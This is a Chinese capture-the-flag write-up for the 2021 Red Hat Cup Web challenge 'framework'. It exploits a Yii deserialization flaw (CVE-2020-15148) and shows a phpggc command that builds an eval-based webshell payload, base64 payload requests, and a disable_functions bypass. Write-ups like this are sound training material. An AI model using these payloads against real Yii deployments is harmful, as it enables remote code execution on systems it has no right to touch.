framework

发表于 2021-05-25 更新于 2021-06-04 分类于 Challenge， 2021， 第四届红帽杯网络安全大赛， Web
Challenge | 2021 | 第四届红帽杯网络安全大赛 | Web | framework

点击此处获得更好的阅读体验

---

framework

WriteUp来源

来自Venom战队

题目考点

- *Yii框架*
- *CVE-2020-15148*

解题思路

扫目录发现备份文件，直接down下来

整个题目就是一个Yii框架，查阅了最近一两年的漏洞，发现存在一个反序列化

https://github.com/Maskhe/CVE-2020-15148-bypasses

https://mp.weixin.qq.com/s?__biz=MzU5MDI0ODI5MQ==&mid=2247485129&idx=1&sn=b27e3fe845daee2fb13bb9f36f53ab40&chksm=fdc066c5cab7efd3f7356c0930e4d786b8fdefa661f5eb26a2c0679c4f5ef97e5b1d4b2d9172&token=718379963

反序列化的点在这里

直接根据文章利用phpggc构造payload

```
./phpggc Yii2/RCE2 'eval($_REQUEST["ant"]);' | base64

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXNlbHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E
```

之后发送请求即可

```
/index.php?r=site%2Fabout&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXNlbHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxO
```

一开始写system不成功，后来写了phpinfo发现吧system给禁了，于是直接写shell即可

```
/index.php?r=site%2Fabout&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXNlbHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iO
```

拿到shell之后直接使用蚁剑的Apache_mod_cgi绕过disable_function

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2021/第四届红帽杯网络安全大赛/Web/gCHKNAHmSZYT4rrGkqiD9Z.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2021 # Web # 第四届红帽杯网络安全大赛
WebsiteManger
find_it